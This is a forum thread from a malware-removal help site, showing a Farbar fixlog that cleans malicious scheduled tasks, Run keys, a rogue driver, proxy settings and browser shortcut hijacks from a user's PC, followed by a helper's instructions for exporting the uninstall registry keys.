Task: {C9298F5C-F1F4-43CE-90F7-65B94C24EE3F} - System32\Tasks\{63FAB1C9-C6A2-4BAA-AE71-C72C70CD2CD9} => pcalua.exe -a "C:\Program Files\SUPERAntiSpyware\Uninstall.exe"
Task: {D8410D41-0F69-48BA-A503-4A642702D113} - System32\Tasks\{C1CF50BB-B5E1-4880-ACD7-2B8FE4F0E18C} => pcalua.exe -a "C:\Resident Evil HD Remastered\Setup.exe" -d "C:\Resident Evil HD Remastered"
Task: {DB504E1D-2447-4A52-A45A-22E7E8836F1C} - System32\Tasks\{F81AFB75-02F5-462D-98DA-D387D8457193} => pcalua.exe -a "C:\Users\Super\Desktop\Resident Evil HD Remastered\Setup.exe" -d "C:\Users\Super\Desktop\Resident Evil HD Remastered"

ShortcutWithArgument: C:\Users\Super\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) ->  
ShortcutWithArgument: C:\Users\Super\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) ->  
ShortcutWithArgument: C:\Users\Super\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) ->  
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) ->  

HKLM\...\regfile\DefaultIcon: C:\Users\Public\Documents\Stardock\IconPackager\iLeopard IconPackager\iLeopard IconPackager Icon 66.ico,0 <===== ATTENTION
HKLM\...\batfile\DefaultIcon: C:\Users\Public\Documents\Stardock\IconPackager\iLeopard IconPackager\iLeopard IconPackager Icon 59.ico,0 <===== ATTENTION
HKLM\...\cmdfile\DefaultIcon: C:\Users\Public\Documents\Stardock\IconPackager\iLeopard IconPackager\iLeopard IconPackager Icon 17.ico,0 <===== ATTENTION

C:\ntuserlitelist
C:\PROGRA~1\GROOVE~1
C:\Program Files (x86)\xy2g4u3utb1
C:\ProgramData\ntuser.pol
C:\Users\Super\AppData\Local\rtdsb
C:\Users\Super\AppData\Local\sigzyi
C:\Users\Super\AppData\Local\CrashRpt
C:\Users\Super\AppData\Local\report
C:\Users\Super\AppData\Local\agent.dat
C:\Users\Super\AppData\Local\installer.dat
C:\Users\Super\AppData\Local\Config.xml
C:\Users\Super\AppData\Local\Main.dat
C:\Users\Super\AppData\Local\md.xml
C:\Users\Super\AppData\Local\InstallationConfiguration.xml
C:\Users\Super\AppData\Local\Sum-Com.exe
C:\Users\Super\AppData\Local\Sum-Com.tst
C:\Users\Super\AppData\Local\noah.dat
C:\Users\Super\AppData\Roaming\khxn4wtlr5j
C:\Users\Super\AppData\Roaming\l0kmqb34tyd
C:\Users\Super\AppData\Roaming\vwuv1adjfqv
C:\Users\Super\AppData\Roaming\ez0kajrkepl
C:\Windows\system32\sstmp
C:\Windows\System32\Drivers\ani9pwjs.sys

EmptyTemp:
*****************

Processes closed successfully.
Restore point was successfully created.
================== Zip: ===================
"C:\Program Files (x86)\xy2g4u3utb1" -> not found
"C:\Users\Super\AppData\Roaming\khxn4wtlr5j" -> not found
"C:\Users\Super\AppData\Roaming\l0kmqb34tyd" -> not found
"C:\Users\Super\AppData\Roaming\vwuv1adjfqv" -> not found
"C:\Users\Super\AppData\Roaming\ez0kajrkepl" -> not found
C:\Users\Super\AppData\Local\Sum-Com.exe -> copied successfully to C:\Users\Super\Desktop\28.05.2017_19.30.57.zip
"C:\PROGRA~1\GROOVE~1\Qiwpajne.bat" -> not found
=========== Zip: End ===========
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Run\\Nexus => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Run\\havpkpleync => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Run\\qwpqdl2sbtd => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Run\\5casz44vljy => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Run\\QBGOEQXW9KR37OU => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Run\\gy1xl5lnqkx => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Run\\GoogleChromeAutoLaunch_EB576191AC210B1C817FE38D3CA923FC => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell => value removed successfully
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\00avast => key removed successfully
HKCR\CLSID\{472083B0-C522-11CF-8763-00608CC02F24} => key not found. 
C:\Windows\system32\GroupPolicy\User => moved successfully
HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyEnable => value removed successfully
HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer => value removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer => value removed successfully
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer => key removed successfully
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\SOFTWARE\Policies\Microsoft\Internet Explorer => key removed successfully
HKLM\System\CurrentControlSet\Services\ani9pwjs => key removed successfully
ani9pwjs => service removed successfully
HKLM\System\CurrentControlSet\Services\catchme => key removed successfully
catchme => service removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{03CB7866-427A-41DF-9BA5-0AAB6B031775} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{03CB7866-427A-41DF-9BA5-0AAB6B031775} => key removed successfully
C:\Windows\System32\Tasks\{6DF883DB-A034-49F3-ABC6-67A3C1FAB6FA} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{6DF883DB-A034-49F3-ABC6-67A3C1FAB6FA} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{058FFCC9-690E-4D14-8A13-62254C2C7162} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{058FFCC9-690E-4D14-8A13-62254C2C7162} => key removed successfully
C:\Windows\System32\Tasks\{5FE33818-F1A1-4936-9D15-5B4B1905096B} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{5FE33818-F1A1-4936-9D15-5B4B1905096B} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{12B96054-6180-429E-88A2-4F179D64C434} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{12B96054-6180-429E-88A2-4F179D64C434} => key removed successfully
C:\Windows\System32\Tasks\{32E31B20-314F-45D9-AA01-44C693B6E51C} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{32E31B20-314F-45D9-AA01-44C693B6E51C} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{1CD57F07-6CAA-4347-B684-5F468A29239D} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{1CD57F07-6CAA-4347-B684-5F468A29239D} => key removed successfully
C:\Windows\System32\Tasks\{393A5B38-ABE6-474B-8DCE-E9BD5C9D6D8D} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{393A5B38-ABE6-474B-8DCE-E9BD5C9D6D8D} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{1EEFD0E0-A2B4-447B-B6F3-87B1024B60FC} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{1EEFD0E0-A2B4-447B-B6F3-87B1024B60FC} => key removed successfully
C:\Windows\System32\Tasks\{BF9C0394-D868-49A3-85EF-469ADF7B4942} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{BF9C0394-D868-49A3-85EF-469ADF7B4942} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2436EC34-29C0-4FC9-B450-7E864904E48D} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2436EC34-29C0-4FC9-B450-7E864904E48D} => key removed successfully
C:\Windows\System32\Tasks\{F5B14DFA-B922-4AA3-8970-4508541B34C5} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{F5B14DFA-B922-4AA3-8970-4508541B34C5} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{67C7E49C-7F3F-490D-9D78-D42CC962992F} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{67C7E49C-7F3F-490D-9D78-D42CC962992F} => key removed successfully
C:\Windows\System32\Tasks\{D3FE0BFE-06BF-4C07-9B6A-DB0F560F4D64} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{D3FE0BFE-06BF-4C07-9B6A-DB0F560F4D64} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{8A4198A3-9EB3-49E5-87EA-175CC9DCC8E4} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8A4198A3-9EB3-49E5-87EA-175CC9DCC8E4} => key removed successfully
C:\Windows\System32\Tasks\{22024ABC-93A8-4783-8BEE-178484D095BF} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{22024ABC-93A8-4783-8BEE-178484D095BF} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{8FD274F8-3E34-4E35-9CB0-6954A906CFE1} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8FD274F8-3E34-4E35-9CB0-6954A906CFE1} => key removed successfully
C:\Windows\System32\Tasks\{F02EECD3-F98F-4D69-AB18-67374D593D15} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{F02EECD3-F98F-4D69-AB18-67374D593D15} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{9423E44A-6AAB-4B51-A306-9E43804C267A} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9423E44A-6AAB-4B51-A306-9E43804C267A} => key removed successfully
C:\Windows\System32\Tasks\{1D00E70E-240B-4086-90F0-56C6DA37D575} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{1D00E70E-240B-4086-90F0-56C6DA37D575} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{AFED0DC7-F311-40D6-A627-29E0DE8E0182} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{AFED0DC7-F311-40D6-A627-29E0DE8E0182} => key removed successfully
C:\Windows\System32\Tasks\{69FA3F89-E29A-4657-8AC2-BF79008BFEC3} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{69FA3F89-E29A-4657-8AC2-BF79008BFEC3} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{B18359BB-0E78-47DA-8E2F-439DC1160326} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B18359BB-0E78-47DA-8E2F-439DC1160326} => key removed successfully
C:\Windows\System32\Tasks\Bunjh => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Bunjh => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{B4887F89-0C21-4D75-B204-5F0A68110D61} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B4887F89-0C21-4D75-B204-5F0A68110D61} => key removed successfully
C:\Windows\System32\Tasks\{0D185A31-B7C0-4CFA-A885-D794A5FF7C7D} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{0D185A31-B7C0-4CFA-A885-D794A5FF7C7D} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{BD68D155-FE18-4410-9CAD-2917D55C994F} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{BD68D155-FE18-4410-9CAD-2917D55C994F} => key removed successfully
C:\Windows\System32\Tasks\{10828AC2-15F8-4063-B13A-742351BFBE2B} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{10828AC2-15F8-4063-B13A-742351BFBE2B} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{BD8CA97A-80F3-48AA-BC3C-C2DEFD1FCC4B} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{BD8CA97A-80F3-48AA-BC3C-C2DEFD1FCC4B} => key removed successfully
C:\Windows\System32\Tasks\{70946662-4046-4672-A307-FFF1754EC7EB} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{70946662-4046-4672-A307-FFF1754EC7EB} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{C7115DD3-D684-4CE8-A66F-013A88917ECF} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C7115DD3-D684-4CE8-A66F-013A88917ECF} => key removed successfully
C:\Windows\System32\Tasks\Microsoft\Windows\DeviceSettings\Zibopy => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\DeviceSettings\Zibopy => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{C9298F5C-F1F4-43CE-90F7-65B94C24EE3F} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C9298F5C-F1F4-43CE-90F7-65B94C24EE3F} => key removed successfully
C:\Windows\System32\Tasks\{63FAB1C9-C6A2-4BAA-AE71-C72C70CD2CD9} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{63FAB1C9-C6A2-4BAA-AE71-C72C70CD2CD9} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D8410D41-0F69-48BA-A503-4A642702D113} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D8410D41-0F69-48BA-A503-4A642702D113} => key removed successfully
C:\Windows\System32\Tasks\{C1CF50BB-B5E1-4880-ACD7-2B8FE4F0E18C} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{C1CF50BB-B5E1-4880-ACD7-2B8FE4F0E18C} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{DB504E1D-2447-4A52-A45A-22E7E8836F1C} => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DB504E1D-2447-4A52-A45A-22E7E8836F1C} => key removed successfully
C:\Windows\System32\Tasks\{F81AFB75-02F5-462D-98DA-D387D8457193} => moved successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{F81AFB75-02F5-462D-98DA-D387D8457193} => key removed successfully
C:\Users\Super\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk => Shortcut argument removed successfully.
C:\Users\Super\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk => Shortcut argument removed successfully.
C:\Users\Super\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk => Shortcut argument removed successfully.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk => Shortcut argument removed successfully.
HKLM\Software\Classes\regfile\DefaultIcon\\Default => value restored successfully
HKLM\...\batfile\DefaultIcon: C:\Users\Public\Documents\Stardock\IconPackager\iLeopard IconPackager\iLeopard IconPackager Icon 59.ico,0 <===== ATTENTION => Error: No automatic fix found for this entry.
HKLM\Software\Classes\cmdfile\DefaultIcon\\Default => value restored successfully
C:\ntuserlitelist => moved successfully
"C:\PROGRA~1\GROOVE~1" => not found.
"C:\Program Files (x86)\xy2g4u3utb1" => not found.
C:\ProgramData\ntuser.pol => moved successfully
C:\Users\Super\AppData\Local\rtdsb => moved successfully
C:\Users\Super\AppData\Local\sigzyi => moved successfully
C:\Users\Super\AppData\Local\CrashRpt => moved successfully
C:\Users\Super\AppData\Local\report => moved successfully
C:\Users\Super\AppData\Local\agent.dat => moved successfully
C:\Users\Super\AppData\Local\installer.dat => moved successfully
C:\Users\Super\AppData\Local\Config.xml => moved successfully
C:\Users\Super\AppData\Local\Main.dat => moved successfully
C:\Users\Super\AppData\Local\md.xml => moved successfully
C:\Users\Super\AppData\Local\InstallationConfiguration.xml => moved successfully
C:\Users\Super\AppData\Local\Sum-Com.exe => moved successfully
C:\Users\Super\AppData\Local\Sum-Com.tst => moved successfully
C:\Users\Super\AppData\Local\noah.dat => moved successfully
"C:\Users\Super\AppData\Roaming\khxn4wtlr5j" => not found.
"C:\Users\Super\AppData\Roaming\l0kmqb34tyd" => not found.
"C:\Users\Super\AppData\Roaming\vwuv1adjfqv" => not found.
"C:\Users\Super\AppData\Roaming\ez0kajrkepl" => not found.
C:\Windows\system32\sstmp => moved successfully
Could not move "C:\Windows\System32\Drivers\ani9pwjs.sys" => Scheduled to move on reboot.

=========== EmptyTemp: ==========

BITS transfer queue => 8388608 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 27011540 B
Java, Flash, Steam htmlcache => 0 B
Windows/system/drivers => 12187724 B
Edge => 0 B
Chrome => 387175384 B
Firefox => 42146686 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Users => 0 B
Default => 0 B
Public => 0 B
ProgramData => 0 B
systemprofile => 128 B
systemprofile32 => 128 B
LocalService => 0 B
NetworkService => 0 B
Super => 45340444 B
Chi => 0 B
Mcx1-PHARMTECH-PC => 0 B

RecycleBin => 0 B
EmptyTemp: => 498.1 MB temporary data Removed.

================================

Result of scheduled files to move (Boot Mode: Normal) (Date&Time: 28-05-2017 19:33:03)

C:\Windows\System32\Drivers\ani9pwjs.sys => Is moved successfully

==== End of Fixlog 19:33:03 ====

 

Link to post
Share on other sites
Aura

Aura

Posted
Posted

Alright, follow the instructions below.

EndqYRa.pngRegistry - Export Uninstall Keys

  • On Windows Vista & 7, click on the Windows Start Menu, then enter cmd in the search box, right-click on the cmd icon and select Run as Administrator
  • On Windows 8, drag your cursor in the bottom-left corner, and right-click on the metro menu preview, then select Command Prompt (Admin);
  • On Windows 8.1, right click on the Windows logo in the bottom-left corner and select Command Prompt (Admin);
  • Enter the following commands, one after the other. You'll know when you're ready to input the next command when a new line with a blinking cursor will appear under the precedent one:
    Note: You can copy and paste these commands instead of typing them. To copy a command inside the command prompt, move your mouse over the blinking cursor, right-click and select Paste. You must have copied the command prior to that (via Ctrl + C or left-click and Copy).
    reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s > "%userprofile%\Desktop\hklm_uninstall64.txt"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /s > "%userprofile%\Desktop\hklm_uninstall32.txt"
  • Once you're done running the commands, two files will have appeared on your desktop:
    • hklm_uninstall32.txt
    • hklm_uninstall64.txt
  • Create a new folder on your Desktop and move both files inside it. Once done, archive (.zip) the folder (right-click on it, select Send to... and select Compressed archive (.zip));
  • Upload the file on Dropbox, Google Drive or OneDrive and post the download URL for it here;

Link to post
Share on other sites
Guest
This topic is now closed to further replies.
 Share
Go to topic listing

  • Recently Browsing   0 members

    • No registered users viewing this page.
Back to top
×
×
  • Create New...

Important Information

This site uses cookies - We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.